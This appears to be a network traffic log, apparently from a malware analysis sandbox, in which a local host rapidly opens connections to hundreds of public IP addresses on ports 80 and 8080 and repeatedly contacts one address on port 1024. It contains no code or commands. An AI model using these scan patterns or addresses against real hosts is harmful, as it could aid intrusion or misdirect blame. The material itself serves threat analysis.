Feb 19, 2025 19:48:55.008266926 CET	7173	8080	192.168.2.15	31.117.174.54
Feb 19, 2025 19:48:55.008266926 CET	7173	8080	192.168.2.15	62.248.48.203
Feb 19, 2025 19:48:55.008281946 CET	8080	7173	94.151.187.128	192.168.2.15
Feb 19, 2025 19:48:55.008290052 CET	7173	8080	192.168.2.15	31.255.171.17
Feb 19, 2025 19:48:55.008310080 CET	7173	8080	192.168.2.15	94.151.187.128
Feb 19, 2025 19:48:55.008363008 CET	8080	7173	62.58.52.91	192.168.2.15
Feb 19, 2025 19:48:55.008397102 CET	7173	8080	192.168.2.15	62.58.52.91
Feb 19, 2025 19:48:55.008435965 CET	8080	7173	31.54.73.153	192.168.2.15
Feb 19, 2025 19:48:55.008461952 CET	8080	7173	85.182.161.131	192.168.2.15
Feb 19, 2025 19:48:55.008476973 CET	7173	8080	192.168.2.15	31.54.73.153
Feb 19, 2025 19:48:55.008493900 CET	7173	8080	192.168.2.15	85.182.161.131
Feb 19, 2025 19:48:55.008513927 CET	8080	7173	62.214.36.196	192.168.2.15
Feb 19, 2025 19:48:55.008543015 CET	7173	8080	192.168.2.15	62.214.36.196
Feb 19, 2025 19:48:55.008578062 CET	8080	7173	62.196.164.69	192.168.2.15
Feb 19, 2025 19:48:55.008611917 CET	7173	8080	192.168.2.15	62.196.164.69
Feb 19, 2025 19:48:55.008739948 CET	8080	7173	62.255.68.132	192.168.2.15
Feb 19, 2025 19:48:55.008774042 CET	7173	8080	192.168.2.15	62.255.68.132
Feb 19, 2025 19:48:55.008786917 CET	8080	7173	62.43.220.36	192.168.2.15
Feb 19, 2025 19:48:55.008797884 CET	8080	7173	85.240.148.173	192.168.2.15
Feb 19, 2025 19:48:55.008806944 CET	8080	7173	94.211.73.6	192.168.2.15
Feb 19, 2025 19:48:55.008826017 CET	7173	8080	192.168.2.15	62.43.220.36
Feb 19, 2025 19:48:55.008826971 CET	7173	8080	192.168.2.15	85.240.148.173
Feb 19, 2025 19:48:55.008835077 CET	7173	8080	192.168.2.15	94.211.73.6
Feb 19, 2025 19:48:55.009673119 CET	8080	7173	95.93.96.203	192.168.2.15
Feb 19, 2025 19:48:55.009684086 CET	8080	7173	31.152.63.57	192.168.2.15
Feb 19, 2025 19:48:55.009692907 CET	8080	7173	94.32.2.139	192.168.2.15
Feb 19, 2025 19:48:55.009701967 CET	8080	7173	94.90.3.221	192.168.2.15
Feb 19, 2025 19:48:55.009711027 CET	8080	7173	62.212.184.130	192.168.2.15
Feb 19, 2025 19:48:55.009716034 CET	7173	8080	192.168.2.15	95.93.96.203
Feb 19, 2025 19:48:55.009716988 CET	7173	8080	192.168.2.15	31.152.63.57
Feb 19, 2025 19:48:55.009721041 CET	8080	7173	31.245.190.212	192.168.2.15
Feb 19, 2025 19:48:55.009731054 CET	8080	7173	62.184.73.136	192.168.2.15
Feb 19, 2025 19:48:55.009731054 CET	7173	8080	192.168.2.15	94.32.2.139
Feb 19, 2025 19:48:55.009742022 CET	7173	8080	192.168.2.15	94.90.3.221
Feb 19, 2025 19:48:55.009744883 CET	7173	8080	192.168.2.15	31.245.190.212
Feb 19, 2025 19:48:55.009747028 CET	7173	8080	192.168.2.15	62.212.184.130
Feb 19, 2025 19:48:55.009747982 CET	8080	7173	62.65.175.102	192.168.2.15
Feb 19, 2025 19:48:55.009758949 CET	8080	7173	31.218.83.0	192.168.2.15
Feb 19, 2025 19:48:55.009766102 CET	7173	8080	192.168.2.15	62.184.73.136
Feb 19, 2025 19:48:55.009778976 CET	7173	8080	192.168.2.15	62.65.175.102
Feb 19, 2025 19:48:55.009790897 CET	7173	8080	192.168.2.15	31.218.83.0
Feb 19, 2025 19:48:55.010183096 CET	8080	7173	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.010226965 CET	7173	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.010303974 CET	8080	7173	85.70.8.98	192.168.2.15
Feb 19, 2025 19:48:55.010313988 CET	8080	7173	62.166.187.99	192.168.2.15
Feb 19, 2025 19:48:55.010324001 CET	8080	7173	85.41.125.132	192.168.2.15
Feb 19, 2025 19:48:55.010334015 CET	8080	7173	95.102.194.101	192.168.2.15
Feb 19, 2025 19:48:55.010334015 CET	7173	8080	192.168.2.15	85.70.8.98
Feb 19, 2025 19:48:55.010345936 CET	7173	8080	192.168.2.15	62.166.187.99
Feb 19, 2025 19:48:55.010350943 CET	7173	8080	192.168.2.15	85.41.125.132
Feb 19, 2025 19:48:55.010351896 CET	8080	7173	94.173.124.234	192.168.2.15
Feb 19, 2025 19:48:55.010363102 CET	8080	7173	95.53.155.242	192.168.2.15
Feb 19, 2025 19:48:55.010364056 CET	7173	8080	192.168.2.15	95.102.194.101
Feb 19, 2025 19:48:55.010373116 CET	8080	7173	62.164.118.40	192.168.2.15
Feb 19, 2025 19:48:55.010381937 CET	8080	7173	94.247.5.16	192.168.2.15
Feb 19, 2025 19:48:55.010386944 CET	7173	8080	192.168.2.15	94.173.124.234
Feb 19, 2025 19:48:55.010390997 CET	7173	8080	192.168.2.15	95.53.155.242
Feb 19, 2025 19:48:55.010391951 CET	8080	7173	31.142.172.105	192.168.2.15
Feb 19, 2025 19:48:55.010402918 CET	8080	7173	31.100.103.107	192.168.2.15
Feb 19, 2025 19:48:55.010412931 CET	8080	7173	31.32.211.130	192.168.2.15
Feb 19, 2025 19:48:55.010416031 CET	7173	8080	192.168.2.15	62.164.118.40
Feb 19, 2025 19:48:55.010416031 CET	7173	8080	192.168.2.15	94.247.5.16
Feb 19, 2025 19:48:55.010422945 CET	8080	7173	85.145.127.136	192.168.2.15
Feb 19, 2025 19:48:55.010423899 CET	7173	8080	192.168.2.15	31.142.172.105
Feb 19, 2025 19:48:55.010430098 CET	7173	8080	192.168.2.15	31.100.103.107
Feb 19, 2025 19:48:55.010432959 CET	8080	7173	94.248.168.203	192.168.2.15
Feb 19, 2025 19:48:55.010441065 CET	7173	8080	192.168.2.15	31.32.211.130
Feb 19, 2025 19:48:55.010443926 CET	8080	7173	85.171.176.62	192.168.2.15
Feb 19, 2025 19:48:55.010453939 CET	8080	7173	62.74.120.8	192.168.2.15
Feb 19, 2025 19:48:55.010457993 CET	7173	8080	192.168.2.15	85.145.127.136
Feb 19, 2025 19:48:55.010471106 CET	7173	8080	192.168.2.15	94.248.168.203
Feb 19, 2025 19:48:55.010472059 CET	7173	8080	192.168.2.15	85.171.176.62
Feb 19, 2025 19:48:55.010482073 CET	7173	8080	192.168.2.15	62.74.120.8
Feb 19, 2025 19:48:55.010488033 CET	8080	7173	62.102.88.57	192.168.2.15
Feb 19, 2025 19:48:55.010498047 CET	8080	7173	95.39.22.245	192.168.2.15
Feb 19, 2025 19:48:55.010507107 CET	8080	7173	31.181.130.125	192.168.2.15
Feb 19, 2025 19:48:55.010515928 CET	8080	7173	85.121.238.213	192.168.2.15
Feb 19, 2025 19:48:55.010521889 CET	7173	8080	192.168.2.15	62.102.88.57
Feb 19, 2025 19:48:55.010526896 CET	8080	7173	31.222.239.22	192.168.2.15
Feb 19, 2025 19:48:55.010535955 CET	7173	8080	192.168.2.15	95.39.22.245
Feb 19, 2025 19:48:55.010535955 CET	7173	8080	192.168.2.15	31.181.130.125
Feb 19, 2025 19:48:55.010545969 CET	7173	8080	192.168.2.15	85.121.238.213
Feb 19, 2025 19:48:55.010560036 CET	7173	8080	192.168.2.15	31.222.239.22
Feb 19, 2025 19:48:55.011106968 CET	8080	7173	85.33.229.222	192.168.2.15
Feb 19, 2025 19:48:55.011116982 CET	8080	7173	85.137.225.231	192.168.2.15
Feb 19, 2025 19:48:55.011126995 CET	8080	7173	62.163.213.169	192.168.2.15
Feb 19, 2025 19:48:55.011136055 CET	8080	7173	31.100.186.6	192.168.2.15
Feb 19, 2025 19:48:55.011146069 CET	8080	7173	94.81.204.238	192.168.2.15
Feb 19, 2025 19:48:55.011147976 CET	7173	8080	192.168.2.15	85.137.225.231
Feb 19, 2025 19:48:55.011148930 CET	7173	8080	192.168.2.15	85.33.229.222
Feb 19, 2025 19:48:55.011157036 CET	8080	7173	62.69.157.35	192.168.2.15
Feb 19, 2025 19:48:55.011164904 CET	7173	8080	192.168.2.15	62.163.213.169
Feb 19, 2025 19:48:55.011168003 CET	8080	7173	94.80.132.92	192.168.2.15
Feb 19, 2025 19:48:55.011168003 CET	7173	8080	192.168.2.15	31.100.186.6
Feb 19, 2025 19:48:55.011172056 CET	7173	8080	192.168.2.15	94.81.204.238
Feb 19, 2025 19:48:55.011178017 CET	8080	7173	95.26.100.234	192.168.2.15
Feb 19, 2025 19:48:55.011183977 CET	7173	8080	192.168.2.15	62.69.157.35
Feb 19, 2025 19:48:55.011188984 CET	8080	7173	94.65.90.22	192.168.2.15
Feb 19, 2025 19:48:55.011198044 CET	7173	8080	192.168.2.15	94.80.132.92
Feb 19, 2025 19:48:55.011199951 CET	8080	7173	95.84.105.40	192.168.2.15
Feb 19, 2025 19:48:55.011202097 CET	7173	8080	192.168.2.15	95.26.100.234
Feb 19, 2025 19:48:55.011210918 CET	8080	7173	85.13.181.153	192.168.2.15
Feb 19, 2025 19:48:55.011224031 CET	7173	8080	192.168.2.15	94.65.90.22
Feb 19, 2025 19:48:55.011229038 CET	7173	8080	192.168.2.15	95.84.105.40
Feb 19, 2025 19:48:55.011240005 CET	7173	8080	192.168.2.15	85.13.181.153
Feb 19, 2025 19:48:55.011343956 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.011548042 CET	8080	7173	85.174.38.144	192.168.2.15
Feb 19, 2025 19:48:55.011579037 CET	7173	8080	192.168.2.15	85.174.38.144
Feb 19, 2025 19:48:55.011595964 CET	8080	7173	62.229.67.198	192.168.2.15
Feb 19, 2025 19:48:55.011605978 CET	8080	7173	94.240.14.230	192.168.2.15
Feb 19, 2025 19:48:55.011640072 CET	7173	8080	192.168.2.15	94.240.14.230
Feb 19, 2025 19:48:55.011641979 CET	7173	8080	192.168.2.15	62.229.67.198
Feb 19, 2025 19:48:55.011676073 CET	8080	7173	85.154.23.28	192.168.2.15
Feb 19, 2025 19:48:55.011686087 CET	8080	7173	62.13.12.76	192.168.2.15
Feb 19, 2025 19:48:55.011696100 CET	8080	7173	94.120.146.82	192.168.2.15
Feb 19, 2025 19:48:55.011706114 CET	8080	7173	94.156.103.152	192.168.2.15
Feb 19, 2025 19:48:55.011715889 CET	8080	7173	85.171.4.36	192.168.2.15
Feb 19, 2025 19:48:55.011718035 CET	7173	8080	192.168.2.15	85.154.23.28
Feb 19, 2025 19:48:55.011719942 CET	7173	8080	192.168.2.15	94.120.146.82
Feb 19, 2025 19:48:55.011723042 CET	7173	8080	192.168.2.15	62.13.12.76
Feb 19, 2025 19:48:55.011732101 CET	8080	7173	85.56.159.74	192.168.2.15
Feb 19, 2025 19:48:55.011743069 CET	8080	7173	95.86.98.52	192.168.2.15
Feb 19, 2025 19:48:55.011744022 CET	7173	8080	192.168.2.15	94.156.103.152
Feb 19, 2025 19:48:55.011748075 CET	7173	8080	192.168.2.15	85.171.4.36
Feb 19, 2025 19:48:55.011753082 CET	8080	7173	95.15.79.159	192.168.2.15
Feb 19, 2025 19:48:55.011764050 CET	7173	8080	192.168.2.15	85.56.159.74
Feb 19, 2025 19:48:55.011774063 CET	8080	7173	95.37.200.101	192.168.2.15
Feb 19, 2025 19:48:55.011775970 CET	7173	8080	192.168.2.15	95.86.98.52
Feb 19, 2025 19:48:55.011785030 CET	8080	7173	94.246.255.212	192.168.2.15
Feb 19, 2025 19:48:55.011790991 CET	7173	8080	192.168.2.15	95.15.79.159
Feb 19, 2025 19:48:55.011805058 CET	7173	8080	192.168.2.15	95.37.200.101
Feb 19, 2025 19:48:55.011806965 CET	7173	8080	192.168.2.15	94.246.255.212
Feb 19, 2025 19:48:55.014960051 CET	53934	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:55.015222073 CET	58060	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:55.016376972 CET	8080	53492	95.140.10.215	192.168.2.15
Feb 19, 2025 19:48:55.016415119 CET	53492	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.019356012 CET	39420	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:55.019517899 CET	38592	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:55.020924091 CET	1024	52612	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.020965099 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.021147966 CET	8080	53934	31.125.69.225	192.168.2.15
Feb 19, 2025 19:48:55.021326065 CET	53934	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:55.024435043 CET	8080	39420	94.165.104.157	192.168.2.15
Feb 19, 2025 19:48:55.024523973 CET	39420	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:55.025969982 CET	1024	52612	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.037221909 CET	46302	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:55.038496017 CET	45852	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.039096117 CET	57940	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:55.042258024 CET	80	46302	88.102.245.23	192.168.2.15
Feb 19, 2025 19:48:55.042315960 CET	46302	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:55.043569088 CET	8080	45852	95.164.102.217	192.168.2.15
Feb 19, 2025 19:48:55.043618917 CET	45852	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.055484056 CET	51386	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:55.056344032 CET	50576	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.060609102 CET	80	51386	88.112.1.196	192.168.2.15
Feb 19, 2025 19:48:55.060662985 CET	51386	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:55.061450958 CET	8080	50576	94.111.87.81	192.168.2.15
Feb 19, 2025 19:48:55.061500072 CET	50576	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.070420980 CET	47568	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:55.075473070 CET	80	47568	88.212.157.47	192.168.2.15
Feb 19, 2025 19:48:55.075519085 CET	47568	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:55.077075958 CET	44674	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.078913927 CET	37124	8080	192.168.2.15	62.68.118.99
Feb 19, 2025 19:48:55.080404043 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:55.082122087 CET	80	44674	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:55.082163095 CET	44674	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.082587004 CET	38836	80	192.168.2.15	88.34.29.247
Feb 19, 2025 19:48:55.083023071 CET	37660	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:55.083472013 CET	50626	80	192.168.2.15	88.192.221.252
Feb 19, 2025 19:48:55.084444046 CET	37600	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:55.084893942 CET	43908	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:55.085352898 CET	45584	80	192.168.2.15	88.121.203.246
Feb 19, 2025 19:48:55.099181890 CET	59336	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:55.100774050 CET	36310	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.101965904 CET	55826	80	192.168.2.15	88.185.135.29
Feb 19, 2025 19:48:55.102926970 CET	59260	80	192.168.2.15	88.66.115.164
Feb 19, 2025 19:48:55.103338003 CET	55814	8080	192.168.2.15	31.231.56.252
Feb 19, 2025 19:48:55.103773117 CET	57578	80	192.168.2.15	88.60.160.90
Feb 19, 2025 19:48:55.104269981 CET	80	59336	88.126.104.108	192.168.2.15
Feb 19, 2025 19:48:55.104311943 CET	59336	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:55.104773045 CET	55534	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:55.105782986 CET	8080	36310	62.204.65.60	192.168.2.15
Feb 19, 2025 19:48:55.105829000 CET	36310	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.105999947 CET	37110	8080	192.168.2.15	31.184.229.106
Feb 19, 2025 19:48:55.118942976 CET	42702	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:55.120743990 CET	56558	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:55.121355057 CET	59892	8080	192.168.2.15	94.164.160.141
Feb 19, 2025 19:48:55.121948957 CET	60640	80	192.168.2.15	88.71.125.8
Feb 19, 2025 19:48:55.123271942 CET	49632	80	192.168.2.15	88.106.102.198
Feb 19, 2025 19:48:55.124038935 CET	80	42702	88.155.0.182	192.168.2.15
Feb 19, 2025 19:48:55.124089956 CET	42702	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:55.124205112 CET	34768	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:55.124818087 CET	60862	80	192.168.2.15	88.18.199.2
Feb 19, 2025 19:48:55.125762939 CET	80	56558	88.0.166.77	192.168.2.15
Feb 19, 2025 19:48:55.125807047 CET	56558	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:55.126183987 CET	35466	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:55.126888990 CET	59778	8080	192.168.2.15	62.153.169.125
Feb 19, 2025 19:48:55.127698898 CET	46500	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:55.129436970 CET	47508	80	192.168.2.15	88.120.189.157
Feb 19, 2025 19:48:55.130450010 CET	51306	8080	192.168.2.15	95.120.169.196
Feb 19, 2025 19:48:55.131088972 CET	33288	80	192.168.2.15	88.60.236.92
Feb 19, 2025 19:48:55.132496119 CET	45326	80	192.168.2.15	88.87.53.75
Feb 19, 2025 19:48:55.132738113 CET	80	46500	88.108.239.116	192.168.2.15
Feb 19, 2025 19:48:55.132785082 CET	46500	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:55.133445978 CET	47310	8080	192.168.2.15	94.222.254.70
Feb 19, 2025 19:48:55.134076118 CET	42802	80	192.168.2.15	88.234.84.235
Feb 19, 2025 19:48:55.136046886 CET	59352	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:55.136720896 CET	35120	8080	192.168.2.15	85.200.95.255
Feb 19, 2025 19:48:55.137645960 CET	57488	80	192.168.2.15	88.202.98.128
Feb 19, 2025 19:48:55.140007973 CET	42802	80	192.168.2.15	88.221.52.195
Feb 19, 2025 19:48:55.140840054 CET	43618	8080	192.168.2.15	94.234.153.206
Feb 19, 2025 19:48:55.141061068 CET	80	59352	88.34.237.117	192.168.2.15
Feb 19, 2025 19:48:55.141103029 CET	59352	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:55.141779900 CET	36554	80	192.168.2.15	88.58.37.176
Feb 19, 2025 19:48:55.143855095 CET	35138	80	192.168.2.15	88.108.227.193
Feb 19, 2025 19:48:55.144675016 CET	47390	8080	192.168.2.15	85.134.169.148
Feb 19, 2025 19:48:55.145129919 CET	33514	80	192.168.2.15	88.233.218.212
Feb 19, 2025 19:48:55.146153927 CET	38126	80	192.168.2.15	88.137.129.16
Feb 19, 2025 19:48:55.146632910 CET	51190	8080	192.168.2.15	62.60.151.254
Feb 19, 2025 19:48:55.147104979 CET	48300	80	192.168.2.15	88.121.38.254
Feb 19, 2025 19:48:55.148303986 CET	50952	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:55.148833036 CET	41562	8080	192.168.2.15	62.224.176.126
Feb 19, 2025 19:48:55.149743080 CET	42122	80	192.168.2.15	88.113.196.193
Feb 19, 2025 19:48:55.150787115 CET	39958	80	192.168.2.15	88.221.224.71
Feb 19, 2025 19:48:55.151295900 CET	45546	8080	192.168.2.15	85.73.31.183
Feb 19, 2025 19:48:55.151766062 CET	39058	80	192.168.2.15	88.237.48.175
Feb 19, 2025 19:48:55.152829885 CET	58186	80	192.168.2.15	88.204.163.71
Feb 19, 2025 19:48:55.153307915 CET	80	50952	88.234.91.223	192.168.2.15
Feb 19, 2025 19:48:55.153327942 CET	50842	8080	192.168.2.15	31.180.156.198
Feb 19, 2025 19:48:55.153353930 CET	50952	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:55.153825998 CET	46914	80	192.168.2.15	88.253.91.74
Feb 19, 2025 19:48:55.154881001 CET	44574	80	192.168.2.15	88.179.141.180
Feb 19, 2025 19:48:55.155353069 CET	42310	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.155812025 CET	36284	80	192.168.2.15	88.223.221.54
Feb 19, 2025 19:48:55.156923056 CET	52134	80	192.168.2.15	88.189.29.188
Feb 19, 2025 19:48:55.157418013 CET	34434	8080	192.168.2.15	85.62.14.39
Feb 19, 2025 19:48:55.157896042 CET	46244	80	192.168.2.15	88.3.136.18
Feb 19, 2025 19:48:55.158955097 CET	54876	80	192.168.2.15	88.176.126.224
Feb 19, 2025 19:48:55.159468889 CET	42240	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:55.160001040 CET	54574	80	192.168.2.15	88.48.100.245
Feb 19, 2025 19:48:55.160408020 CET	8080	42310	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:55.160448074 CET	42310	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.161048889 CET	52010	80	192.168.2.15	88.123.145.21
Feb 19, 2025 19:48:55.161550045 CET	51916	8080	192.168.2.15	85.229.224.190
Feb 19, 2025 19:48:55.162000895 CET	52122	80	192.168.2.15	88.194.34.47
Feb 19, 2025 19:48:55.163045883 CET	49526	80	192.168.2.15	88.208.83.69
Feb 19, 2025 19:48:55.163539886 CET	52918	8080	192.168.2.15	85.72.211.210
Feb 19, 2025 19:48:55.164010048 CET	46520	80	192.168.2.15	88.57.193.113
Feb 19, 2025 19:48:55.165182114 CET	42548	80	192.168.2.15	88.57.83.20
Feb 19, 2025 19:48:55.165702105 CET	39436	8080	192.168.2.15	95.104.2.211
Feb 19, 2025 19:48:55.166186094 CET	41132	80	192.168.2.15	88.202.176.102
Feb 19, 2025 19:48:55.167238951 CET	57206	80	192.168.2.15	88.213.50.251
Feb 19, 2025 19:48:55.167735100 CET	58692	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.168209076 CET	45696	80	192.168.2.15	88.35.173.43
Feb 19, 2025 19:48:55.169167995 CET	38176	8080	192.168.2.15	94.175.0.244
Feb 19, 2025 19:48:55.169800043 CET	54870	8080	192.168.2.15	94.82.157.72
Feb 19, 2025 19:48:55.170434952 CET	37496	8080	192.168.2.15	31.196.188.142
Feb 19, 2025 19:48:55.171067953 CET	51454	8080	192.168.2.15	85.182.120.251
Feb 19, 2025 19:48:55.171725035 CET	47658	8080	192.168.2.15	94.89.169.159
Feb 19, 2025 19:48:55.172359943 CET	54496	8080	192.168.2.15	85.24.89.56
Feb 19, 2025 19:48:55.172766924 CET	8080	58692	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:55.172811985 CET	58692	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.173000097 CET	44270	8080	192.168.2.15	95.64.79.87
Feb 19, 2025 19:48:55.173626900 CET	55226	8080	192.168.2.15	94.61.80.238
Feb 19, 2025 19:48:55.174263000 CET	60438	8080	192.168.2.15	62.153.226.232
Feb 19, 2025 19:48:55.174889088 CET	33318	8080	192.168.2.15	31.54.76.12
Feb 19, 2025 19:48:55.175518990 CET	55836	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.176153898 CET	37500	8080	192.168.2.15	62.181.70.168
Feb 19, 2025 19:48:55.176806927 CET	40548	8080	192.168.2.15	62.102.138.235
Feb 19, 2025 19:48:55.177462101 CET	59162	8080	192.168.2.15	85.200.114.150
Feb 19, 2025 19:48:55.178126097 CET	55458	8080	192.168.2.15	85.44.109.191
Feb 19, 2025 19:48:55.178782940 CET	41274	8080	192.168.2.15	31.38.128.107
Feb 19, 2025 19:48:55.179416895 CET	57624	8080	192.168.2.15	85.227.253.201
Feb 19, 2025 19:48:55.180068016 CET	42972	8080	192.168.2.15	85.125.44.40
Feb 19, 2025 19:48:55.180599928 CET	8080	55836	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:55.180639982 CET	55836	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.180700064 CET	52456	8080	192.168.2.15	85.217.163.85
Feb 19, 2025 19:48:55.181354046 CET	58184	8080	192.168.2.15	31.96.8.238
Feb 19, 2025 19:48:55.182003975 CET	53178	8080	192.168.2.15	62.175.93.231
Feb 19, 2025 19:48:55.182671070 CET	51818	8080	192.168.2.15	95.221.230.183
Feb 19, 2025 19:48:55.183293104 CET	57640	8080	192.168.2.15	62.201.151.65
Feb 19, 2025 19:48:55.183991909 CET	50326	8080	192.168.2.15	31.147.97.236
Feb 19, 2025 19:48:55.184628010 CET	47808	8080	192.168.2.15	95.109.102.187
Feb 19, 2025 19:48:55.185257912 CET	54850	8080	192.168.2.15	85.14.71.97
Feb 19, 2025 19:48:55.185868025 CET	51916	8080	192.168.2.15	31.182.52.132
Feb 19, 2025 19:48:55.186501980 CET	40302	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:55.187170982 CET	40884	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:55.187860012 CET	37618	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.188508987 CET	55694	8080	192.168.2.15	95.240.45.10
Feb 19, 2025 19:48:55.192868948 CET	8080	37618	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:55.193047047 CET	37618	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.193272114 CET	57438	80	192.168.2.15	88.63.100.48
Feb 19, 2025 19:48:55.193965912 CET	40058	80	192.168.2.15	88.82.88.254
Feb 19, 2025 19:48:55.194588900 CET	53394	80	192.168.2.15	88.247.27.60
Feb 19, 2025 19:48:55.195250988 CET	46948	80	192.168.2.15	88.15.159.233
Feb 19, 2025 19:48:55.195902109 CET	60490	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:55.196585894 CET	39276	80	192.168.2.15	88.158.19.156
Feb 19, 2025 19:48:55.197206974 CET	57796	80	192.168.2.15	88.90.35.245
Feb 19, 2025 19:48:55.197856903 CET	49064	80	192.168.2.15	88.139.121.73
Feb 19, 2025 19:48:55.198472977 CET	56774	80	192.168.2.15	88.91.168.14
Feb 19, 2025 19:48:55.199183941 CET	38792	80	192.168.2.15	88.0.53.7
Feb 19, 2025 19:48:55.199837923 CET	51108	80	192.168.2.15	88.72.8.47
Feb 19, 2025 19:48:55.200463057 CET	40870	80	192.168.2.15	88.101.26.163
Feb 19, 2025 19:48:55.200910091 CET	80	60490	88.225.132.35	192.168.2.15
Feb 19, 2025 19:48:55.200948954 CET	60490	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:55.201076984 CET	50398	80	192.168.2.15	88.184.114.1
Feb 19, 2025 19:48:55.201704979 CET	48372	80	192.168.2.15	88.5.50.73
Feb 19, 2025 19:48:55.202344894 CET	50108	80	192.168.2.15	88.102.252.35
Feb 19, 2025 19:48:55.202980042 CET	56220	80	192.168.2.15	88.155.158.99
Feb 19, 2025 19:48:55.203587055 CET	57794	80	192.168.2.15	88.170.62.8
Feb 19, 2025 19:48:55.204205036 CET	59428	80	192.168.2.15	88.114.126.226
Feb 19, 2025 19:48:55.204839945 CET	56534	80	192.168.2.15	88.36.230.166
Feb 19, 2025 19:48:55.205471039 CET	53348	80	192.168.2.15	88.244.27.100
Feb 19, 2025 19:48:55.206118107 CET	47516	80	192.168.2.15	88.119.223.49
Feb 19, 2025 19:48:55.207441092 CET	56728	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.208172083 CET	48192	80	192.168.2.15	88.75.197.89
Feb 19, 2025 19:48:55.208942890 CET	40014	80	192.168.2.15	88.26.121.46
Feb 19, 2025 19:48:55.209414959 CET	35970	8080	192.168.2.15	95.68.77.73
Feb 19, 2025 19:48:55.209887981 CET	54276	80	192.168.2.15	88.102.156.49
Feb 19, 2025 19:48:55.210875034 CET	34660	80	192.168.2.15	88.109.52.248
Feb 19, 2025 19:48:55.211357117 CET	49560	8080	192.168.2.15	95.15.178.71
Feb 19, 2025 19:48:55.211801052 CET	41180	80	192.168.2.15	88.134.239.228
Feb 19, 2025 19:48:55.212430954 CET	80	56728	88.143.14.164	192.168.2.15
Feb 19, 2025 19:48:55.212466002 CET	56728	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.212819099 CET	40512	80	192.168.2.15	88.114.186.106
Feb 19, 2025 19:48:55.213315010 CET	36364	8080	192.168.2.15	95.160.7.229
Feb 19, 2025 19:48:55.213774920 CET	38540	80	192.168.2.15	88.250.25.121
Feb 19, 2025 19:48:55.214832067 CET	58822	80	192.168.2.15	88.208.206.151
Feb 19, 2025 19:48:55.215332031 CET	40486	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.215852022 CET	50676	80	192.168.2.15	88.7.214.145
Feb 19, 2025 19:48:55.216876030 CET	36050	80	192.168.2.15	88.168.88.242
Feb 19, 2025 19:48:55.217359066 CET	56148	8080	192.168.2.15	95.250.40.29
Feb 19, 2025 19:48:55.217832088 CET	37612	80	192.168.2.15	88.229.252.82
Feb 19, 2025 19:48:55.218847036 CET	53300	80	192.168.2.15	88.51.92.143
Feb 19, 2025 19:48:55.219330072 CET	42426	8080	192.168.2.15	95.141.97.38
